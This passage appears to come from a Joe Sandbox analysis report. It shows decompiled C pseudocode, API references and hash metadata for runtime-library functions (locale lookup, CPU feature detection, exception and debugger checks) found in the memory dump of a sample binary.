						} while (_t81 != _v252);
						if(_t125 - _v256 >> 1 !=  *((intOrPtr*)(_t96 + 0x5c))) {
							_t75 = 0;
							goto L20;
						}
						_push(_t132);
						if(E00429C74(_t135, 1) == 0) {
							goto L36;
						}
						 *_t132 =  *_t132 | 0x00000100;
						_t75 = 0;
						L21:
						_t149 = _t132[1] - _t75;
						goto L34;
					}
					L20:
					 *_t132 = _t114 | 0x00000100;
					goto L21;
				}
				asm("sbb eax, eax");
				if(GetLocaleInfoW(_t135, ( ~( *(_t96 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
					goto L37;
				}
				_t90 = E004306E1(_t132, _t135,  *((intOrPtr*)(_t96 + 0x50)),  &_v248);
				_t118 =  *_t132;
				if(_t90 != 0) {
					if((_t118 & 0x00000002) != 0) {
						goto L16;
					}
					if( *((intOrPtr*)(_t96 + 0x5c)) == 0) {
						L12:
						_t128 =  *_t132;
						if((_t128 & 0x00000001) != 0 || E00429C4F(_t135) == 0) {
							goto L16;
						} else {
							 *_t132 = _t128 | 0x00000001;
							goto L15;
						}
					}
					_t93 = E0042D97E(_t96, _t132, _t135,  *((intOrPtr*)(_t96 + 0x50)),  &_v248,  *((intOrPtr*)(_t96 + 0x5c)));
					_t137 = _t137 + 0xc;
					if(_t93 != 0) {
						goto L12;
					}
					 *_t132 =  *_t132 | 0x00000002;
					_t132[2] = _t135;
					_t120 =  *((intOrPtr*)(_t96 + 0x50));
					_t130 = _t120 + 2;
					do {
						_t94 =  *_t120;
						_t120 = _t120 + 2;
					} while (_t94 != _v252);
					if(_t120 - _t130 >> 1 ==  *((intOrPtr*)(_t96 + 0x5c))) {
						_t132[1] = _t135;
					}
				} else {
					_t132[1] = _t135;
					 *_t132 = _t118 | 0x00000304;
					L15:
					_t132[2] = _t135;
				}
			}

0x004297fd
0x00429804
0x00429809
0x00429812
0x0042981a
0x00429829
0x00429835
0x00429846
0x0042984c
0x00429855
0x00429a2f
0x00429a31
0x00429a34
0x00429a42
0x00429a42
0x0042986e
0x00429929
0x00429934
0x00429a23
0x00000000
0x00429a2a
0x00429948
0x0042995e
0x00000000
0x00000000
0x0042996e
0x00429977
0x004299e8
0x00429a04
0x00429a13
0x00000000
0x00000000
0x00429a15
0x00429a1e
0x00429a1e
0x00429a20
0x00429a20
0x00429a1e
0x00000000
0x004299e8
0x0042997b
0x00429981
0x00429986
0x0042999b
0x00000000
0x00000000
0x0042999d
0x004299a3
0x004299a9
0x004299a9
0x004299ac
0x004299af
0x004299c3
0x004299df
0x00000000
0x004299df
0x004299c5
0x004299d3
0x00000000
0x00000000
0x004299d5
0x004299db
0x00429990
0x00429990
0x00000000
0x00429990
0x00429988
0x0042998e
0x00000000
0x0042998e
0x00429882
0x00429898
0x00000000
0x00000000
0x004298a8
0x004298af
0x004298b3
0x004298c5
0x00000000
0x00000000
0x004298cb
0x0042990f
0x0042990f
0x00429914
0x00000000
0x00429921
0x00429924
0x00000000
0x00429924
0x00429914
0x004298da
0x004298df
0x004298e4
0x00000000
0x00000000
0x004298e6
0x004298e9
0x004298ec
0x004298ef
0x004298f2
0x004298f2
0x004298f5
0x004298f8
0x00429908
0x0042990a
0x0042990a
0x004298b5
0x004298bb
0x004298be
0x00429926
0x00429926
0x00429926

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00429846
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00429890
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00429956

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 03a396a94a26a62fbf0d6a7a3087546b779c0d28dae8ae4e89c6c9426cccb4c2
Instruction ID: d585bde42cffd1b38b749d0dbf3789b79ea3644f8eee0c9c7859eb7abb81663d
Opcode Fuzzy Hash: 03a396a94a26a62fbf0d6a7a3087546b779c0d28dae8ae4e89c6c9426cccb4c2
Instruction Fuzzy Hash: A461B671B102279FDB289F25ED82BAA73A8EF05310F50417BE905C6385EB78DD91CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF4A Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E0041EF4A(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x44b018; // 0x1989d38f
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00403392(_t41);
					_pop(_t62);
				}
				E00403D00(_t67,  &_v804, 0, 0x50);
				E00403D00(_t67,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00403392(_t57);
				}
				return E0040361D(_v8 ^ _t70);
			}

0x0041ef4a
0x0041ef4a
0x0041ef4a
0x0041ef4a
0x0041ef55
0x0041ef5a
0x0041ef5c
0x0041ef64
0x0041ef66
0x0041ef69
0x0041ef6e
0x0041ef6e
0x0041ef7a
0x0041ef8d
0x0041ef9b
0x0041efa1
0x0041efa7
0x0041efad
0x0041efb3
0x0041efb9
0x0041efbf
0x0041efc5
0x0041efcb
0x0041efd1
0x0041efd8
0x0041efdf
0x0041efe6
0x0041efed
0x0041eff4
0x0041effb
0x0041effc
0x0041f005
0x0041f00b
0x0041f00e
0x0041f014
0x0041f021
0x0041f02a
0x0041f033
0x0041f03c
0x0041f04a
0x0041f04c
0x0041f061
0x0041f06d
0x0041f070
0x0041f075
0x0041f082

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0041F042
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0041F04C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041F059

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 71e5640ae69c768bc03f084a787c16178dee3940296ea46c06fd7789feb1f53f
Instruction ID: 071e4804324cb4e981b9f478341e84fbcaf1dc8b5b3b13a8e108624add0943d6
Opcode Fuzzy Hash: 71e5640ae69c768bc03f084a787c16178dee3940296ea46c06fd7789feb1f53f
Instruction Fuzzy Hash: DB31C674901228ABCB21DF65DC897DDBBB8BF08311F5045EAE41CA7291E7749F858F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040345B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040345B(intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t63;
				intOrPtr _t65;
				signed int _t66;
				signed int _t68;
				intOrPtr _t73;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t84;
				intOrPtr* _t86;
				signed int _t91;
				signed int _t94;

				_t84 = __edx;
				 *0x44bc24 =  *0x44bc24 & 0x00000000;
				 *0x44b010 =  *0x44b010 | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v24 = _v24 & 0x00000000;
				 *0x44b010 =  *0x44b010 | 0x00000002;
				 *0x44bc24 = 1;
				_t86 =  &_v48;
				_push(1);
				asm("cpuid");
				_pop(_t73);
				 *_t86 = 0;
				 *((intOrPtr*)(_t86 + 4)) = 1;
				 *((intOrPtr*)(_t86 + 8)) = 0;
				 *((intOrPtr*)(_t86 + 0xc)) = _t84;
				_v16 = _v48;
				_v8 = _v36 ^ 0x49656e69;
				_v12 = _v40 ^ 0x6c65746e;
				_push(1);
				asm("cpuid");
				_t75 =  &_v48;
				 *_t75 = 1;
				 *((intOrPtr*)(_t75 + 4)) = _t73;
				 *((intOrPtr*)(_t75 + 8)) = 0;
				 *((intOrPtr*)(_t75 + 0xc)) = _t84;
				if((_v44 ^ 0x756e6547 | _v8 | _v12) != 0) {
					L9:
					_t91 =  *0x44bc28; // 0x2
					L10:
					_v32 = _v36;
					_t59 = _v40;
					_v8 = _t59;
					_v28 = _t59;
					if(_v16 >= 7) {
						_t65 = 7;
						_push(_t75);
						asm("cpuid");
						_t77 =  &_v48;
						 *_t77 = _t65;
						 *((intOrPtr*)(_t77 + 4)) = _t75;
						 *((intOrPtr*)(_t77 + 8)) = 0;
						 *((intOrPtr*)(_t77 + 0xc)) = _t84;
						_t66 = _v44;
						_v24 = _t66;
						_t59 = _v8;
						if((_t66 & 0x00000200) != 0) {
							 *0x44bc28 = _t91 | 0x00000002;
						}
					}
					if((_t59 & 0x00100000) != 0) {
						 *0x44b010 =  *0x44b010 | 0x00000004;
						 *0x44bc24 = 2;
						if((_t59 & 0x08000000) != 0 && (_t59 & 0x10000000) != 0) {
							asm("xgetbv");
							_v20 = _t59;
							_v16 = _t84;
							if((_v20 & 0x00000006) == 6 && 0 == 0) {
								_t62 =  *0x44b010; // 0x2f
								_t63 = _t62 | 0x00000008;
								 *0x44bc24 = 3;
								 *0x44b010 = _t63;
								if((_v24 & 0x00000020) != 0) {
									 *0x44bc24 = 5;
									 *0x44b010 = _t63 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t68 = _v48 & 0x0fff3ff0;
				if(_t68 == 0x106c0 || _t68 == 0x20660 || _t68 == 0x20670 || _t68 == 0x30650 || _t68 == 0x30660 || _t68 == 0x30670) {
					_t94 =  *0x44bc28; // 0x2
					_t91 = _t94 | 0x00000001;
					 *0x44bc28 = _t91;
					goto L10;
				} else {
					goto L9;
				}
			}

0x0040345b
0x0040345e
0x0040346c
0x0040347b
0x004035f8
0x004035fe
0x004035fe
0x00403481
0x00403487
0x00403492
0x00403498
0x0040349b
0x0040349c
0x004034a0
0x004034a1
0x004034a3
0x004034a6
0x004034ab
0x004034b4
0x004034c5
0x004034d0
0x004034d6
0x004034d7
0x004034df
0x004034e5
0x004034e7
0x004034ea
0x004034ed
0x004034f0
0x00403535
0x00403535
0x0040353b
0x00403542
0x00403545
0x00403548
0x0040354b
0x0040354e
0x00403552
0x00403555
0x00403556
0x0040355b
0x0040355e
0x00403560
0x00403563
0x00403566
0x00403569
0x00403571
0x00403574
0x00403577
0x0040357c
0x0040357c
0x00403577
0x00403589
0x0040358b
0x00403592
0x004035a1
0x004035ac
0x004035af
0x004035b2
0x004035c3
0x004035c9
0x004035ce
0x004035d1
0x004035df
0x004035e4
0x004035e9
0x004035f3
0x004035f3
0x004035e4
0x004035c3
0x004035a1
0x00000000
0x00403589
0x004034f5
0x004034ff
0x00403524
0x0040352a
0x0040352d
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00403474

Strings

, xrefs: 004035DB

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: be91ae76e944463120b84647b23f7f11c6a2ccd476382f99a0f97467e4e4773e
Instruction ID: 68eacd9ca073f0c7fbd3528cd25628eb1c34dbf2a2273a529895066f101d6811
Opcode Fuzzy Hash: be91ae76e944463120b84647b23f7f11c6a2ccd476382f99a0f97467e4e4773e
Instruction Fuzzy Hash: 1C515CB1D00208AFDB18CF69D9856AABBF8FB49316F14847AD415F73A0D774DA00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00429A45 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429A45(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebp;
				signed int _t15;
				signed int _t21;
				void* _t23;
				void* _t30;
				void* _t34;
				signed int _t43;
				signed int* _t50;
				int _t53;
				signed int _t54;

				_t15 =  *0x44b018; // 0x1989d38f
				_v8 = _t15 ^ _t54;
				_t52 = _a4;
				_t34 = E0041FEAE(__ecx, __edx, _a4);
				_t50 =  *(E0041FEAE(__ecx, __edx, _a4) + 0x34c);
				_t53 = E00429B1A(_t52);
				asm("sbb ecx, ecx");
				_t21 = GetLocaleInfoW(_t53, ( ~( *(_t34 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
				if(_t21 != 0) {
					_t23 = E004306E1(_t50, _t53,  *((intOrPtr*)(_t34 + 0x50)),  &_v248);
					_t43 =  *(_t34 + 0x60);
					if(_t23 != 0) {
						if(_t43 == 0 &&  *((intOrPtr*)(_t34 + 0x5c)) != _t43) {
							_t30 = E004306E1(_t50, _t53,  *((intOrPtr*)(_t34 + 0x50)),  &_v248);
							if(_t30 == 0) {
								_push(_t50);
								_push(_t30);
								goto L9;
							}
						}
					} else {
						if(_t43 != 0) {
							L10:
							 *_t50 =  *_t50 | 0x00000004;
							_t50[1] = _t53;
							_t50[2] = _t53;
						} else {
							_push(_t50);
							_push(1);
							L9:
							_push(_t53);
							if(E00429C74() != 0) {
								goto L10;
							}
						}
					}
				} else {
					 *_t50 =  *_t50 & _t21;
				}
				return E0040361D(_v8 ^ _t54);
			}

0x00429a50
0x00429a57
0x00429a5c
0x00429a65
0x00429a6d
0x00429a7c
0x00429a88
0x00429a99
0x00429aa1
0x00429ab2
0x00429ab9
0x00429abe
0x00429acb
0x00429adc
0x00429ae5
0x00429ae7
0x00429ae8
0x00000000
0x00429ae8
0x00429ae5
0x00429ac0
0x00429ac2
0x00429af6
0x00429af6
0x00429af9
0x00429afc
0x00429ac4
0x00429ac4
0x00429ac5
0x00429ae9
0x00429ae9
0x00429af4
0x00000000
0x00000000
0x00429af4
0x00429ac2
0x00429aa3
0x00429aa3
0x00429aa5
0x00429b17

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00429A99

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0a2dbbf624e59cefe55aaabae04af642a869d95863c29d3b2f8261a47a6ce48b
Instruction ID: ef915eb0bd664ab9d85596fa6bf6be3c9e63372e234fd1b2892f7bbd70f010cb
Opcode Fuzzy Hash: 0a2dbbf624e59cefe55aaabae04af642a869d95863c29d3b2f8261a47a6ce48b
Instruction Fuzzy Hash: 8021D671600356ABDB289F2AEC81ABB77A8EF45304F10007FF905C6241EB79ED45C758

Uniqueness

Uniqueness Score: -1.00%

Function 004296CC Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004296CC(void* __ecx, void* __edx, signed int* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				intOrPtr* _t38;
				intOrPtr* _t41;
				signed int _t47;
				void* _t50;
				void* _t51;
				signed int* _t52;
				void* _t53;
				void* _t54;
				signed int _t62;

				_t54 = E0041FEAE(__ecx, __edx, _t53);
				_t47 = 2;
				_t38 =  *((intOrPtr*)(_t54 + 0x50));
				_t50 = _t38 + 2;
				do {
					_t26 =  *_t38;
					_t38 = _t38 + _t47;
				} while (_t26 != 0);
				_t41 =  *((intOrPtr*)(_t54 + 0x54));
				 *(_t54 + 0x60) = 0 | _t38 - _t50 >> 0x00000001 == 0x00000003;
				_t51 = _t41 + 2;
				do {
					_t29 =  *_t41;
					_t41 = _t41 + _t47;
				} while (_t29 != 0);
				_t52 = _a4;
				 *(_t54 + 0x64) = 0 | _t41 - _t51 >> 0x00000001 == 0x00000003;
				_t52[1] = 0;
				if( *(_t54 + 0x60) == 0) {
					_t47 = E004297C6( *((intOrPtr*)(_t54 + 0x50)));
				}
				 *(_t54 + 0x5c) = _t47;
				_t32 = EnumSystemLocalesW(E004297F2, 1);
				_t62 =  *_t52 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t47 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t52 = 0;
					return _t34;
				}
				return _t34;
			}

0x004296d9
0x004296df
0x004296e0
0x004296e3
0x004296e6
0x004296e6
0x004296e9
0x004296eb
0x004296f9
0x004296ff
0x00429702
0x00429705
0x00429705
0x00429708
0x0042970a
0x00429713
0x0042971e
0x00429721
0x00429727
0x00429732
0x00429732
0x0042973b
0x0042973e
0x00429746
0x0042974c
0x00429750
0x00429755
0x00429759
0x0042975e
0x00429760
0x00000000
0x00429760
0x00429766

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

EnumSystemLocalesW.KERNEL32(004297F2,00000001,00000000,?,-00000050,?,00429E23,00000000,?,?,?,00000055,?), ref: 0042973E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 42ba90cc79ca8f9762757d0d852a5c0c2064d4310baa6aae04a7004011a52afb
Instruction ID: 2f0d4e32f0deec5853a2c3e02f665f298c055208947e9c0dc0404009859066ce
Opcode Fuzzy Hash: 42ba90cc79ca8f9762757d0d852a5c0c2064d4310baa6aae04a7004011a52afb
Instruction Fuzzy Hash: A111023A2107019FDB289F3AA8916BAB791FF80318F55443EE98687B40E375AC42C744

Uniqueness

Uniqueness Score: -1.00%

Function 00423073 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00423073(void* __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				void* __ebx;
				void* __esi;
				int _t8;
				signed int _t11;
				void* _t14;
				signed int _t17;
				void* _t19;
				signed int _t21;
				signed char _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t25;

				_t24 = __edi;
				_t23 = __ecx;
				_t8 = IsDebuggerPresent();
				_t25 = _a4;
				_t22 = _t21 & 0xffffff00 | _t8 != 0x00000000;
				if(_t8 == 0) {
					L5:
					__eflags = E00426300(_t23) - 2;
					if(__eflags != 0) {
						L11:
						_t11 = (_t22 & 0x000000ff) + 3;
						__eflags = _t11;
						return _t11;
					}
					__eflags = E0042AD88(__eflags);
					if(__eflags == 0) {
						goto L11;
					}
					__eflags = E0042AE78(_t22, _t24, _t25, __eflags);
					if(__eflags != 0) {
						_t14 = E0042ADFC(__eflags);
						_push(_a12);
						_push(_a8);
						_push(_t25);
						_push(_t14);
					} else {
						_t17 = _a12 | 0x00200000;
						__eflags = _t17;
						_push(_t17);
						_push(_a8);
						_push(_t25);
						_push(0);
					}
					return E0042AC40(_t22, _t24);
				}
				if(_t25 != 0) {
					E0042F750(_t22, _t25, _t25);
				}
				if(E00426375(_t23) == 1) {
					goto L5;
				} else {
					_t19 = 4;
					return _t19;
				}
			}

0x00423073
0x00423073
0x0042307a
0x00423080
0x00423085
0x0042308a
0x004230a5
0x004230aa
0x004230ad
0x004230e6
0x004230e9
0x004230e9
0x00000000
0x004230e9
0x004230b4
0x004230b6
0x00000000
0x00000000
0x004230bd
0x004230bf
0x004230d7
0x004230dc
0x004230df
0x004230e2
0x004230e3
0x004230c1
0x004230c4
0x004230c4
0x004230c9
0x004230ca
0x004230cd
0x004230ce
0x004230ce
0x00000000
0x004230d0
0x0042308e
0x00423091
0x00423091
0x0042309e
0x00000000
0x004230a0
0x004230a2
0x00000000
0x004230a2

APIs

IsDebuggerPresent.KERNEL32 ref: 0042307A

Part of subcall function 0042F750: OutputDebugStringW.KERNEL32(00000000,?,?,?,?), ref: 0042F7A6

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: DebugDebuggerOutputPresentString
String ID:
API String ID: 4086329628-0
Opcode ID: 538f1d4e3164ede835804c03948c75c47ec9e2bbfc4900f9b0e8a9b63b137b60
Instruction ID: c023f3785404f376ce8abbb3f71c47f836cedd075dd6bf109708c9de89dd5fdd
Opcode Fuzzy Hash: 538f1d4e3164ede835804c03948c75c47ec9e2bbfc4900f9b0e8a9b63b137b60
Instruction Fuzzy Hash: 20F0D631304239B79E216E927C01B6F3769EF017A6F944407FD44C6205CA2EDA11D17E

Uniqueness

Uniqueness Score: -1.00%

Function 00429C74 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00429C74(signed int _a4, intOrPtr _a8) {
				short _v8;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				void* _t15;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				signed int _t26;
				intOrPtr* _t28;

				_push(_t15);
				_push(_t25);
				_t8 = E0041FEAE(_t15, _t21, _t25);
				_t26 = _a4;
				_t23 = _t8;
				if(GetLocaleInfoW(_t26 & 0x000003ff | 0x00000400, 0x20000001,  &_v8, 2) == 0) {
					L7:
					_t11 = 0;
				} else {
					if(_t26 == _v8 || _a8 == 0) {
						L6:
						_t11 = 1;
					} else {
						_t28 =  *((intOrPtr*)(_t23 + 0x50));
						_t19 = _t28 + 2;
						do {
							_t13 =  *_t28;
							_t28 = _t28 + 2;
						} while (_t13 != 0);
						if(E004297C6( *((intOrPtr*)(_t23 + 0x50))) == _t28 - _t19 >> 1) {
							goto L7;
						} else {
							goto L6;
						}
					}
				}
				return _t11;
			}

0x00429c79
0x00429c7a
0x00429c7c
0x00429c81
0x00429c84
0x00429ca8
0x00429cdc
0x00429cdc
0x00429caa
0x00429cad
0x00429cd7
0x00429cd9
0x00429cb5
0x00429cb5
0x00429cb8
0x00429cbb
0x00429cbb
0x00429cbe
0x00429cc1
0x00429cd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00429cd5
0x00429cad
0x00429ce1

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00429A0E,00000000,00000000,?), ref: 00429CA0

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 8e433b52b9e2037682d43a49f572d333b2c1c0f79dd140f7a2d5da38e1e1b0a1
Instruction ID: 580bf14ed2058662729e5f4cb0d1a22b602310677bd2c0613c68ed8da2b0c927
Opcode Fuzzy Hash: 8e433b52b9e2037682d43a49f572d333b2c1c0f79dd140f7a2d5da38e1e1b0a1
Instruction Fuzzy Hash: F4F0F932710125ABDB245B22DC45BBB7798DB40754F59043AED05E3240EB38FD41D6A8

Uniqueness

Uniqueness Score: -1.00%

Function 00429767 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00429767(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				signed char* _t15;
				intOrPtr* _t19;
				intOrPtr _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t27 = E0041FEAE(__ecx, __edx, _t26);
				_t24 = 2;
				_t19 =  *((intOrPtr*)(_t27 + 0x50));
				_t25 = _t19 + 2;
				do {
					_t11 =  *_t19;
					_t19 = _t19 + _t24;
				} while (_t11 != 0);
				_t4 = _t19 - _t25 >> 1 == 3;
				 *(_t27 + 0x60) = 0 | _t4;
				if(_t4 != 0) {
					_t24 = E004297C6( *((intOrPtr*)(_t27 + 0x50)));
				}
